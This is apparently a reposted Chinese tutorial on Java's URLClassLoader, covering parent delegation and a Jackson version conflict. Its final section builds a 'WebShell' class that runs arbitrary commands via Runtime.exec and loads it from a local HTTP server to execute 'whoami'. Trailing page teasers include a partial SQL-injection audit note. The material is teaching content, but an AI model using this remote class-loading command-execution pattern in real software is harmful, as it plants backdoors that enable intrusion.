【java编程】URLClassLoader

news/2024/11/28 20:42:21/文章来源:https://www.cnblogs.com/o-O-oO/p/18575128

从上面我们研究【java编程】双亲委派模式时进行Debug了源代码, 可以发现的是, URLClassLoader是ExtClassLoader && AppClassLoader的父类(不是父亲),

public class Launcher {static class ExtClassLoader extends URLClassLoader {}static class AppClassLoader extends URLClassLoader {}
}

URLClassLoader 的作用是可以从指定的jar文件和目录中加载类和资源。 其中它有两个重要的构造方法值得我们去实现并学习:

public URLClassLoader(URL[] urls, ClassLoader parent){// 作用: 使用指定的父加载器加载对象, 从指定的 urls 路径来查询, 并加载类// ...
}public URLClassLoader(URL[] urls) {// 作用: 使用默认的父加载器 (AppClassLoader) 创建一个 ClassLoader 对象, 从指定的 urls 路径来查询, 并加载类// ...
}

如果使用第二个构造器, 那么URLClassLoader的parent将是AppClassLoader, 我们可以通过下图解释:

使用 URLClassLoader 加载&&执行 Jar 包

首先创建一个jar包, 如下:

根据上面的代码, 我们成功创建了一个jar包, 其中, 定义了com.utils.SayHello类以及在其中定义了hi方法, 创建测试代码, 如下:

public class HeihuHello {public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {File file = new File("D:/MyJarTest.jar"); // 把刚刚生成好的 jar 文件放入到这里URL[] urls = new URL[]{file.toURL()}; // 生成 URLURLClassLoader urlClassLoader = new URLClassLoader(urls); // 实例化 URLClassLoader, 父亲是 AppClassLoaderClass<?> clazz = urlClassLoader.loadClass("com.utils.SayHello"); // 根据委派模式, AppClassLoader 及父类都找不到, 最终在本 URLClassLoader 进行查找, 而本 URLClassLoader 路径中又包含 File 对象, 最终从本 File 对象找到了类Object o = clazz.newInstance(); // com.utils.SayHello@6e0be858, 这里可以成功生成对象Method hi = clazz.getMethod("hi", new Class[]{});hi.invoke(o); // com.utils::hi~ ^_^}
}

URLClassLoader 因为委派模式导致的 "歧义" 问题

在com.utils.SayHello项目中的pom.xml文件中引入一个Jackson, 如下:

<dependencies><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-core</artifactId><version>2.11.0</version> <!-- 2.11.0 中存在 getFormatGeneratorFeatures 方法 --></dependency></dependencies>

修改com.utils.SayHello::hi方法为如下内容:

public class SayHello {public static void main(String[] args) {System.out.println("Hi~");}public void hi() {System.out.println("com.utils::hi~ ^_^ JacksonTest: " + (new JsonFactory()).getFormatGeneratorFeatures()); // 因为编译器上下文环境中存在 getFormatGeneratorFeatures (也就是编辑器使用的是2.11.0版本), 所以编译不会出错.}
}

因为我们通过Maven增加了Jackson包, 所以我们设置在打jar包时, 一定要有提取到目标Jar (移除工件再添加工件即可), 如图:

重新定义后, 再构建项目即可.

确认打包好的内容, 存在 jackson, 如图:

在我们ClassLoader测试环境中, 在pom.xml文件声明如下选项:

<dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-core</artifactId><version>2.5.4</version> <!-- 2.5.4 版本不存在 getFormatGeneratorFeatures -->
</dependency>

最终测试结果:

public class HeihuHello {public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {File file = new File("D:/MyJarTest.jar"); // 把刚刚生成好的 jar 文件放入到这里URL[] urls = new URL[]{file.toURL()}; // 生成 URLURLClassLoader urlClassLoader = new URLClassLoader(urls); // 实例化 URLClassLoader, 父亲是 AppClassLoaderClass<?> clazz = urlClassLoader.loadClass("com.utils.SayHello");// 根据委派模式, AppClassLoader 及父类都找不到, 最终在本 URLClassLoader 进行查找, 而本 URLClassLoader 路径中又包含 File 对象, 最终从本 File 对象找到了类Object o = clazz.newInstance();   // com.utils.SayHello@6e0be858, 这里可以成功生成对象Method hi = clazz.getMethod("hi", new Class[]{});hi.invoke(o);/** Caused by: java.lang.NoSuchMethodError: com.fasterxml.jackson.core.JsonFactory.getFormatGeneratorFeatures()Iat com.utils.SayHello.hi(SayHello.java:16)... 5 more这里会抛出异常, 因为加载类的方式是委派的, 当我们委派到 AppClassLoader 时, 加载了我们本环境中 2.5.4 的 Jackson, 而 2.5.4 的 Jackson 是不存在 getFormatGeneratorFeatures 方法的, 所以这里会报错.* */}
}

解决办法:

使用URLClassLoader的指明父亲的构造器, 代码如下:

public class HeihuHello {public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {File file = new File("D:/MyJarTest.jar");URL[] urls = new URL[]{file.toURL()};URLClassLoader urlClassLoader = new URLClassLoader(urls, HeihuHello.class.getClassLoader().getParent());// ClassLoader.getSystemClassLoader() -> 返回 AppClassLoader// AppClassLoader -> parent -> ExtClassLoaderClass<?> clazz = urlClassLoader.loadClass("com.utils.SayHello");// ExtClassLoader 及其父类都找不到 Jackson 包, 随后交给我们当前的 URLClassLoader 进行扫描, 最终扫描到了已打包好的 JacksonObject o = clazz.newInstance();Method hi = clazz.getMethod("hi", new Class[]{});hi.invoke(o);}
}

URLClassLoader 远程加载 WebShell

准备如下类:

public class CMD {/**** @param cmd 要执行的命令* @return 命令执行的结果*/public static String Exec(String cmd) {try {Process process = Runtime.getRuntime().exec(cmd);InputStream is = process.getInputStream();byte[] myChunk = new byte[1024];int tmp = 0;ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();while ((tmp = is.read(myChunk)) != -1) {byteArrayOutputStream.write(myChunk, 0, tmp);}return new String(byteArrayOutputStream.toByteArray());} catch (IOException e) {throw new RuntimeException(e);}}
}

然后打一个jar包, 开启网络服务.

准备如下代码, 测试运行结果:

public class Main {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/MyJarTest.jar")}; // 解析 jar 包URLClassLoader urlClassLoader = new URLClassLoader(urls);Class<?> clazz = urlClassLoader.loadClass("CMD"); // 解析 jar 包中的 CMD.class 文件Method method = clazz.getMethod("Exec", String.class);String result = (String) method.invoke(null, "whoami");System.out.println(result); // heihubook\administrator}
}

当然了, 也可以将CMD.class文件放入到WEB服务根目录, 如图:

随后准备如下代码:

public class Main {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/")}; // 当成目录URLClassLoader urlClassLoader = new URLClassLoader(urls);Class<?> clazz = urlClassLoader.loadClass("CMD"); // 会读取目录下的 CMD.class 类Method method = clazz.getMethod("Exec", String.class);String result = (String) method.invoke(null, "whoami");System.out.println(result); // heihubook\administrator}
}
使用URLClassLoader,传入的地址,如果以`/`结尾,则会当做目录, 去这个目录下找类,否则就会将这个地址后的文件当做jar包,从jar包中找类。
当然了, 这里可以学习 ClassLoader-JSP 马的应用: https://www.freebuf.com/articles/web/323775.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/843062.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

秒杀系统

前言 秒杀大家都不陌生。自2011年首次出现以来,无论是双十一购物还是 12306 抢票,秒杀场景已随处可见。简单来说,秒杀就是在同一时刻大量请求争抢购买同一商品并完成交易的过程。从架构视角来看,秒杀系统本质是一个高性能、高一致、高可用的三高系统。而打造并维护一个超大…

.NET周刊【11月第4期 2024-11-24】

国内文章 C# 入门深度学习:万字长文讲解微积分和梯度下降 https://www.cnblogs.com/whuanle/p/18551532 这篇文章主要介绍了使用 C# 进行深度学习的方法,特别是微积分在此领域的应用。作者简要讲解了极限、导数等基本概念,并展示了如何在 C# 中实现这些数学运算,例如将一个…

高级程序语言第九次作业

这个作业属于哪个课程:https://edu.cnblogs.com/campus/fzu/2024C 这个作业要求在哪里:https://edu.cnblogs.com/campus/fzu/2024C/homework/13311 学号:102400204 姓名:刘嘉奕不太理解10题a,b两个题目的要求有何不同,一个把值返回该结构,不运用指针,而b要把值赋给合适…

DataSophon集成StreamPark2.1.5

为DataSophon制作streampark-2.1.5安装包.md 下载并解压streampark 2.1.5安装包 StreamPark官网下载 wget -O /opt/datasophon/DDP/packages/apache-streampark_2.12-2.1.5-incubating-bin.tar.gz https://www.apache.org/dyn/closer.lua/incubator/streampark/2.1.5/apache-s…

以Deformable_DETR为例说明训练过程

以Deformable_DETR为例说明使用服务器训练过程 下载程序文件 根据论文提供的github地址fundamentalvision/Deformable-DETR: Deformable DETR: Deformable Transformers for End-to-End Object Detection.下载zip到本地 租用服务器 在autodl平台租用服务器,申请账号氪金之后去…

Qt VTK加载openfoam计算结果

Qt VTK加载openfoam计算结果.foam文件。#include <QApplication> #include <QDebug> #include "qvtkopenglwidget.h" #include <vtkSmartPointer.h> #include <vtkGenericDataObjectReader.h> #include <vtkPolyDataMapper.h> #includ…

蓝桥3511飞机降落

样例输入 2 3 0 100 10 10 10 10 0 2 20 3 0 10 20 10 10 20 20 10 20 样例输出 YES NO思路: 具体来说,对于每架飞机,有起飞时间(t)、降落时间限制(d)和飞行时长(l)等信息,代码要判断能否按照一定规则安排这些飞机的起降顺序,使得所有飞机都能在其降落时间限制内完成…

多校A层冲刺NOIP2024模拟赛27终结篇

不知道是不是我打的最后一场模拟赛了,记录一下吧,总体来说还不错,虽然 \(T1\) 方案数求错爆零了,但 \(T3\) 场切了,暴力打满的话有265,希望 \(NOIP\) 时也可以不让自己遗憾吧。 A 【模板】分治FFT 考虑每加进来一个数的贡献 \(x_1*x_2+(x_1+x_2)*x_3+...=x_1*x_2+x_1*x_3…

elasticseach-head插件

git地址 https://github.com/mobz/elasticsearch-head 安装方式 浏览器插件 docker本地安装

支持超线程的numa架构

支持超线程的numa架构 物理硬件视角,将多个CPU封装在一起,这个封装被称为插槽Socket; Core是socket上独立的硬件单元; 通过intel的超线程HT技术进一步提升CPU的处理能力,OS看到的逻辑上的核Processor的数量。每个硬件线程都可以按逻辑cpu寻址,因此这个处理器看上去有八块…

schoolcms代码审计

sql注入 注入点:burp的数据包: POST /index.php?m=Admin&c=Article&a=Delete HTTP/1.1 Host: schoolcms Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safa…